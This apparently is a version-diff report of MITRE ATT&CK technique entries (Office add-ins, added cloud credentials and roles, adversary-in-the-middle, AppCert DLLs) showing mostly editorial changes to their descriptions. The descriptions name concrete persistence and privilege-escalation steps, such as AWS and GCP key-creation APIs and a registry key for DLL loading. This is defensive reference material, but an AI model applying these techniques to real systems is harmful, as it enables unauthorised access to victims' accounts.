| description | Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018) Add-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. | Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs.(Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins.(Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018) Add-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'GlobalDotName Jun 2019', 'description': 'Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.', 'url': 'https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique'} |
Current version: 2.8
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may add adversary-controlled credentials to a cl | t | 1 | Adversaries may add adversary-controlled credentials to a cl |
| > | oud account to maintain persistent access to victim accounts | > | oud account to maintain persistent access to victim accounts | ||
| > | and instances within the environment. For example, adversa | > | and instances within the environment. For example, adversa | ||
| > | ries may add credentials for Service Principals and Applicat | > | ries may add credentials for Service Principals and Applicat | ||
| > | ions in addition to existing legitimate credentials in Azure | > | ions in addition to existing legitimate credentials in Azure | ||
| > | / Entra ID.(Citation: Microsoft SolarWinds Customer Guidanc | > | / Entra ID.(Citation: Microsoft SolarWinds Customer Guidanc | ||
| > | e)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of De | > | e)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of De | ||
| > | ath Video) These credentials include both x509 keys and pass | > | ath Video) These credentials include both x509 keys and pass | ||
| > | words.(Citation: Microsoft SolarWinds Customer Guidance) Wit | > | words.(Citation: Microsoft SolarWinds Customer Guidance) Wit | ||
| > | h sufficient permissions, there are a variety of ways to add | > | h sufficient permissions, there are a variety of ways to add | ||
| > | credentials including the Azure Portal, Azure command line | > | credentials including the Azure Portal, Azure command line | ||
| > | interface, and Azure or Az PowerShell modules.(Citation: Dem | > | interface, and Azure or Az PowerShell modules.(Citation: Dem | ||
| > | ystifying Azure AD Service Principals) In infrastructure-as | > | ystifying Azure AD Service Principals) In infrastructure-as | ||
| > | -a-service (IaaS) environments, after gaining access through | > | -a-service (IaaS) environments, after gaining access through | ||
| > | [Cloud Accounts](https://attack.mitre.org/techniques/T1078/ | > | [Cloud Accounts](https://attack.mitre.org/techniques/T1078/ | ||
| > | 004), adversaries may generate or import their own SSH keys | > | 004), adversaries may generate or import their own SSH keys | ||
| > | using either the <code>CreateKeyPair</code> or <code>ImportK | > | using either the <code>CreateKeyPair</code> or <code>ImportK | ||
| > | eyPair</code> API in AWS or the <code>gcloud compute os-logi | > | eyPair</code> API in AWS or the <code>gcloud compute os-logi | ||
| > | n ssh-keys add</code> command in GCP.(Citation: GCP SSH Key | > | n ssh-keys add</code> command in GCP.(Citation: GCP SSH Key | ||
| > | Add) This allows persistent access to instances within the c | > | Add) This allows persistent access to instances within the c | ||
| > | loud environment without further usage of the compromised cl | > | loud environment without further usage of the compromised cl | ||
| > | oud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expe | > | oud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expe | ||
| > | l Behind the Scenes) Adversaries may also use the <code>Cre | > | l Behind the Scenes) Adversaries may also use the <code>Cre | ||
| > | ateAccessKey</code> API in AWS or the <code>gcloud iam servi | > | ateAccessKey</code> API in AWS or the <code>gcloud iam servi | ||
| > | ce-accounts keys create</code> command in GCP to add access | > | ce-accounts keys create</code> command in GCP to add access | ||
| > | keys to an account. Alternatively, they may use the <code>Cr | > | keys to an account. Alternatively, they may use the <code>Cr | ||
| > | eateLoginProfile</code> API in AWS to add a password that ca | > | eateLoginProfile</code> API in AWS to add a password that ca | ||
| > | n be used to log into the AWS Management Console for [Cloud | > | n be used to log into the AWS Management Console for [Cloud | ||
| > | Service Dashboard](https://attack.mitre.org/techniques/T1538 | > | Service Dashboard](https://attack.mitre.org/techniques/T1538 | ||
| > | ).(Citation: Permiso Scattered Spider 2023)(Citation: Lacewo | > | ).(Citation: Permiso Scattered Spider 2023)(Citation: Lacewo | ||
| > | rk AI Resource Hijacking 2024) If the target account has dif | > | rk AI Resource Hijacking 2024) If the target account has dif | ||
| > | ferent permissions from the requesting account, the adversar | > | ferent permissions from the requesting account, the adversar | ||
| > | y may also be able to escalate their privileges in the envir | > | y may also be able to escalate their privileges in the envir | ||
| > | onment (i.e. [Cloud Accounts](https://attack.mitre.org/techn | > | onment (i.e. [Cloud Accounts](https://attack.mitre.org/techn | ||
| > | iques/T1078/004)).(Citation: Rhino Security Labs AWS Privile | > | iques/T1078/004)).(Citation: Rhino Security Labs AWS Privile | ||
| > | ge Escalation)(Citation: Sysdig ScarletEel 2.0) For example, | > | ge Escalation)(Citation: Sysdig ScarletEel 2.0) For example, | ||
| > | in Entra ID environments, an adversary with the Application | > | in Entra ID environments, an adversary with the Application | ||
| > | Administrator role can add a new set of credentials to thei | > | Administrator role can add a new set of credentials to thei | ||
| > | r application's service principal. In doing so the adversary | > | r application's service principal. In doing so the adversary | ||
| > | would be able to access the service principal’s roles and p | > | would be able to access the service principal’s roles and p | ||
| > | ermissions, which may be different from those of the Applica | > | ermissions, which may be different from those of the Applica | ||
| > | tion Administrator.(Citation: SpecterOps Azure Privilege Esc | > | tion Administrator.(Citation: SpecterOps Azure Privilege Esc | ||
| > | alation) In AWS environments, adversaries with the appropr | > | alation) In AWS environments, adversaries with the appropr | ||
| > | iate permissions may also use the `sts:GetFederationToken` A | > | iate permissions may also use the `sts:GetFederationToken` A | ||
| > | PI call to create a temporary set of credentials to [Forge W | > | PI call to create a temporary set of credentials to [Forge W | ||
| > | eb Credentials](https://attack.mitre.org/techniques/T1606) t | > | eb Credentials](https://attack.mitre.org/techniques/T1606) t | ||
| > | ied to the permissions of the original user account. These t | > | ied to the permissions of the original user account. These t | ||
| > | emporary credentials may remain valid for the duration of th | > | emporary credentials may remain valid for the duration of th | ||
| > | eir lifetime even if the original account’s API credentials | > | eir lifetime even if the original account’s API credentials | ||
| > | are deactivated. (Citation: Crowdstrike AWS User Federation | > | are deactivated.(Citation: Crowdstrike AWS User Federation P | ||
| > | Persistence) In Entra ID environments with the app password | > | ersistence) In Entra ID environments with the app password | ||
| > | feature enabled, adversaries may be able to add an app pass | > | feature enabled, adversaries may be able to add an app passw | ||
| > | word to a user account.(Citation: Mandiant APT42-untangling) | > | ord to a user account.(Citation: Mandiant APT42-untangling) | ||
| > | As app passwords are intended to be used with legacy device | > | As app passwords are intended to be used with legacy devices | ||
| > | s that do not support multi-factor authentication (MFA), add | > | that do not support multi-factor authentication (MFA), addi | ||
| > | ing an app password can allow an adversary to bypass MFA req | > | ng an app password can allow an adversary to bypass MFA requ | ||
| > | uirements. Additionally, app passwords may remain valid even | > | irements. Additionally, app passwords may remain valid even | ||
| > | if the user’s primary password is reset.(Citation: Microsof | > | if the user’s primary password is reset.(Citation: Microsoft | ||
| > | t Entra ID App Passwords) | > | Entra ID App Passwords) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-09-17 17:49:30.904000+00:00 | 2026-11-04 01:15:27.307000+00:00 |
| description | Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.
For example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure / Entra ID.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)
In infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)
Adversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. Alternatively, they may use the CreateLoginProfile API in AWS to add a password that can be used to log into the AWS Management Console for [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538).(Citation: Permiso Scattered Spider 2023)(Citation: Lacework AI Resource Hijacking 2024) If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal’s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation)
In AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account’s API credentials are deactivated.
(Citation: Crowdstrike AWS User Federation Persistence)
In Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account.(Citation: Mandiant APT42-untangling) As app passwords are intended to be used with legacy devices that do not support multi-factor authentication (MFA), adding an app password can allow an adversary to bypass MFA requirements. Additionally, app passwords may remain valid even if the user’s primary password is reset.(Citation: Microsoft Entra ID App Passwords) | Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.
For example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure / Entra ID.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)
In infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)
Adversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. Alternatively, they may use the CreateLoginProfile API in AWS to add a password that can be used to log into the AWS Management Console for [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538).(Citation: Permiso Scattered Spider 2023)(Citation: Lacework AI Resource Hijacking 2024) If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal’s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation)
In AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account’s API credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence)
In Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account.(Citation: Mandiant APT42-untangling) As app passwords are intended to be used with legacy devices that do not support multi-factor authentication (MFA), adding an app password can allow an adversary to bypass MFA requirements. Additionally, app passwords may remain valid even if the user’s primary password is reset.(Citation: Microsoft Entra ID App Passwords) |
Current version: 2.5
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may add additional roles or permissions to an a | t | 1 | An adversary may add additional roles or permissions to an a |
| > | dversary-controlled cloud account to maintain persistent acc | > | dversary-controlled cloud account to maintain persistent acc | ||
| > | ess to a tenant. For example, adversaries may update IAM pol | > | ess to a tenant. For example, adversaries may update IAM pol | ||
| > | icies in cloud-based environments or add a new global admini | > | icies in cloud-based environments or add a new global admini | ||
| > | strator in Office 365 environments.(Citation: AWS IAM Polici | > | strator in Office 365 environments.(Citation: AWS IAM Polici | ||
| > | es and Permissions)(Citation: Google Cloud IAM Policies)(Cit | > | es and Permissions)(Citation: Google Cloud IAM Policies)(Cit | ||
| > | ation: Microsoft Support O365 Add Another Admin, October 201 | > | ation: Microsoft Support O365 Add Another Admin, October 201 | ||
| > | 9)(Citation: Microsoft O365 Admin Roles) With sufficient per | > | 9)(Citation: Microsoft O365 Admin Roles) With sufficient per | ||
| > | missions, a compromised account can gain almost unlimited ac | > | missions, a compromised account can gain almost unlimited ac | ||
| > | cess to data and settings (including the ability to reset th | > | cess to data and settings (including the ability to reset th | ||
| > | e passwords of other admins).(Citation: Expel AWS Attacker) | > | e passwords of other admins).(Citation: Expel AWS Attacker)( | ||
| > | (Citation: Microsoft O365 Admin Roles) This account modifi | > | Citation: Microsoft O365 Admin Roles) This account modific | ||
| > | cation may immediately follow [Create Account](https://attac | > | ation may immediately follow [Create Account](https://attack | ||
| > | k.mitre.org/techniques/T1136) or other malicious account act | > | .mitre.org/techniques/T1136) or other malicious account acti | ||
| > | ivity. Adversaries may also modify existing [Valid Accounts] | > | vity. Adversaries may also modify existing [Valid Accounts]( | ||
| > | (https://attack.mitre.org/techniques/T1078) that they have c | > | https://attack.mitre.org/techniques/T1078) that they have co | ||
| > | ompromised. This could lead to privilege escalation, particu | > | mpromised. This could lead to privilege escalation, particul | ||
| > | larly if the roles added allow for lateral movement to addit | > | arly if the roles added allow for lateral movement to additi | ||
| > | ional accounts. For example, in AWS environments, an advers | > | onal accounts. For example, in AWS environments, an adversa | ||
| > | ary with appropriate permissions may be able to use the <cod | > | ry with appropriate permissions may be able to use the <code | ||
| > | e>CreatePolicyVersion</code> API to define a new version of | > | >CreatePolicyVersion</code> API to define a new version of a | ||
| > | an IAM policy or the <code>AttachUserPolicy</code> API to at | > | n IAM policy or the <code>AttachUserPolicy</code> API to att | ||
| > | tach an IAM policy with additional or distinct permissions t | > | ach an IAM policy with additional or distinct permissions to | ||
| > | o a compromised user account.(Citation: Rhino Security Labs | > | a compromised user account.(Citation: Rhino Security Labs A | ||
| > | AWS Privilege Escalation) In some cases, adversaries may ad | > | WS Privilege Escalation) In some cases, adversaries may add | ||
| > | d roles to adversary-controlled accounts outside the victim | > | roles to adversary-controlled accounts outside the victim c | ||
| > | cloud tenant. This allows these external accounts to perform | > | loud tenant. This allows these external accounts to perform | ||
| > | actions inside the victim tenant without requiring the adve | > | actions inside the victim tenant without requiring the adver | ||
| > | rsary to [Create Account](https://attack.mitre.org/technique | > | sary to [Create Account](https://attack.mitre.org/techniques | ||
| > | s/T1136) or modify a victim-owned account.(Citation: Invictu | > | /T1136) or modify a victim-owned account.(Citation: Invictus | ||
| > | s IR DangerDev 2024) | > | IR DangerDev 2024) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:48:35.082000+00:00 | 2026-11-04 01:15:48.758000+00:00 |
| description | An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)
(Citation: Microsoft O365 Admin Roles)
This account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.
For example, in AWS environments, an adversary with appropriate permissions may be able to use the CreatePolicyVersion API to define a new version of an IAM policy or the AttachUserPolicy API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation)
In some cases, adversaries may add roles to adversary-controlled accounts outside the victim cloud tenant. This allows these external accounts to perform actions inside the victim tenant without requiring the adversary to [Create Account](https://attack.mitre.org/techniques/T1136) or modify a victim-owned account.(Citation: Invictus IR DangerDev 2024) | An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)(Citation: Microsoft O365 Admin Roles)
This account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.
For example, in AWS environments, an adversary with appropriate permissions may be able to use the CreatePolicyVersion API to define a new version of an IAM policy or the AttachUserPolicy API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation)
In some cases, adversaries may add roles to adversary-controlled accounts outside the victim cloud tenant. This allows these external accounts to perform actions inside the victim tenant without requiring the adversary to [Create Account](https://attack.mitre.org/techniques/T1136) or modify a victim-owned account.(Citation: Invictus IR DangerDev 2024) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 2.5
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to position themselves between two o | t | 1 | Adversaries may attempt to position themselves between two o |
| > | r more networked devices using an adversary-in-the-middle (A | > | r more networked devices using an adversary-in-the-middle (A | ||
| > | iTM) technique to support follow-on behaviors such as [Netwo | > | iTM) technique to support follow-on behaviors such as [Netwo | ||
| > | rk Sniffing](https://attack.mitre.org/techniques/T1040), [Tr | > | rk Sniffing](https://attack.mitre.org/techniques/T1040), [Tr | ||
| > | ansmitted Data Manipulation](https://attack.mitre.org/techni | > | ansmitted Data Manipulation](https://attack.mitre.org/techni | ||
| > | ques/T1565/002), or replay attacks ([Exploitation for Creden | > | ques/T1565/002), or replay attacks ([Exploitation for Creden | ||
| > | tial Access](https://attack.mitre.org/techniques/T1212)). By | > | tial Access](https://attack.mitre.org/techniques/T1212)). By | ||
| > | abusing features of common networking protocols that can de | > | abusing features of common networking protocols that can de | ||
| > | termine the flow of network traffic (e.g. ARP, DNS, LLMNR, e | > | termine the flow of network traffic (e.g. ARP, DNS, LLMNR, e | ||
| > | tc.), adversaries may force a device to communicate through | > | tc.), adversaries may force a device to communicate through | ||
| > | an adversary controlled system so they can collect informati | > | an adversary controlled system so they can collect informati | ||
| > | on or perform additional actions.(Citation: Rapid7 MiTM Basi | > | on or perform additional actions.(Citation: Rapid7 MiTM Basi | ||
| > | cs) For example, adversaries may manipulate victim DNS sett | > | cs) For example, adversaries may manipulate victim DNS sett | ||
| > | ings to enable other malicious activities such as preventing | > | ings to enable other malicious activities such as preventing | ||
| > | /redirecting users from accessing legitimate sites and/or pu | > | /redirecting users from accessing legitimate sites and/or pu | ||
| > | shing additional malware.(Citation: ttint_rat)(Citation: dns | > | shing additional malware.(Citation: ttint_rat)(Citation: dns | ||
| > | _changer_trojans)(Citation: ad_blocker_with_miner) Adversari | > | _changer_trojans)(Citation: ad_blocker_with_miner) Adversari | ||
| > | es may also manipulate DNS and leverage their position in or | > | es may also manipulate DNS and leverage their position in or | ||
| > | der to intercept user credentials, including access tokens ( | > | der to intercept user credentials, including access tokens ( | ||
| > | [Steal Application Access Token](https://attack.mitre.org/te | > | [Steal Application Access Token](https://attack.mitre.org/te | ||
| > | chniques/T1528)) and session cookies ([Steal Web Session Coo | > | chniques/T1528)) and session cookies ([Steal Web Session Coo | ||
| > | kie](https://attack.mitre.org/techniques/T1539)).(Citation: | > | kie](https://attack.mitre.org/techniques/T1539)).(Citation: | ||
| > | volexity_0day_sophos_FW)(Citation: Token tactics) [Downgrade | > | volexity_0day_sophos_FW)(Citation: Token tactics) [Downgrade | ||
| > | Attack](https://attack.mitre.org/techniques/T1689)s can als | > | Attack](https://attack.mitre.org/techniques/T1689)s can als | ||
| > | o be used to establish an AiTM position, such as by negotiat | > | o be used to establish an AiTM position, such as by negotiat | ||
| > | ing a less secure, deprecated, or weaker version of communic | > | ing a less secure, deprecated, or weaker version of communic | ||
| > | ation protocol (SSL/TLS) or encryption algorithm.(Citation: | > | ation protocol (SSL/TLS) or encryption algorithm.(Citation: | ||
| > | mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls | > | mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls | ||
| > | )(Citation: tlseminar_downgrade_att) Adversaries may also l | > | )(Citation: tlseminar_downgrade_att) Adversaries may also l | ||
| > | everage the AiTM position to attempt to monitor and/or modif | > | everage the AiTM position to attempt to monitor and/or modif | ||
| > | y traffic, such as in [Transmitted Data Manipulation](https: | > | y traffic, such as in [Transmitted Data Manipulation](https: | ||
| > | //attack.mitre.org/techniques/T1565/002). Adversaries can se | > | //attack.mitre.org/techniques/T1565/002). Adversaries can se | ||
| > | tup a position similar to AiTM to prevent traffic from flowi | > | t up a position similar to AiTM to prevent traffic from flow | ||
| > | ng to the appropriate destination, potentially to impair def | > | ing to the appropriate destination, potentially to impair de | ||
| > | enses and/or in support of a [Network Denial of Service](htt | > | fenses and/or in support of a [Network Denial of Service](ht | ||
| > | ps://attack.mitre.org/techniques/T1498). | > | tps://attack.mitre.org/techniques/T1498). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.620000+00:00 | 2026-11-03 21:41:27.362000+00:00 |
| description | Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics) For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens ([Steal Application Access Token](https://attack.mitre.org/techniques/T1528)) and session cookies ([Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)).(Citation: volexity_0day_sophos_FW)(Citation: Token tactics) [Downgrade Attack](https://attack.mitre.org/techniques/T1689)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att) Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498). | Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics) For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens ([Steal Application Access Token](https://attack.mitre.org/techniques/T1528)) and session cookies ([Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)).(Citation: volexity_0day_sophos_FW)(Citation: Token tactics) [Downgrade Attack](https://attack.mitre.org/techniques/T1689)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att) Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can set up a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498). |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence and/or elevate privile | t | 1 | Adversaries may establish persistence and/or elevate privile |
| > | ges by executing malicious content triggered by AppCert DLLs | > | ges by executing malicious content triggered by AppCert DLLs | ||
| > | loaded into processes. Dynamic-link libraries (DLLs) that a | > | loaded into processes. Dynamic-link libraries (DLLs) that a | ||
| > | re specified in the <code>AppCertDLLs</code> Registry key un | > | re specified in the <code>AppCertDLLs</code> Registry key un | ||
| > | der <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Contro | > | der <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Contro | ||
| > | l\Session Manager\</code> are loaded into every process that | > | l\Session Manager\</code> are loaded into every process that | ||
| > | calls the ubiquitously used application programming interfa | > | calls the ubiquitously used application programming interfa | ||
| > | ce (API) functions <code>CreateProcess</code>, <code>CreateP | > | ce (API) functions <code>CreateProcess</code>, <code>CreateP | ||
| > | rocessAsUser</code>, <code>CreateProcessWithLoginW</code>, < | > | rocessAsUser</code>, <code>CreateProcessWithLoginW</code>, < | ||
| > | code>CreateProcessWithTokenW</code>, or <code>WinExec</code> | > | code>CreateProcessWithTokenW</code>, or <code>WinExec</code> | ||
| > | . (Citation: Elastic Process Injection July 2017) Similar t | > | .(Citation: Elastic Process Injection July 2017) Similar to | ||
| > | o [Process Injection](https://attack.mitre.org/techniques/T1 | > | [Process Injection](https://attack.mitre.org/techniques/T10 | ||
| > | 055), this value can be abused to obtain elevated privileges | > | 55), this value can be abused to obtain elevated privileges | ||
| > | by causing a malicious DLL to be loaded and run in the cont | > | by causing a malicious DLL to be loaded and run in the conte | ||
| > | ext of separate processes on the computer. Malicious AppCert | > | xt of separate processes on the computer. Malicious AppCert | ||
| > | DLLs may also provide persistence by continuously being tri | > | DLLs may also provide persistence by continuously being trig | ||
| > | ggered by API activity. | > | gered by API activity. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:49:00.663000+00:00 | 2026-11-04 00:51:33.270000+00:00 |
| description | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)
Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec.(Citation: Elastic Process Injection July 2017)
Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
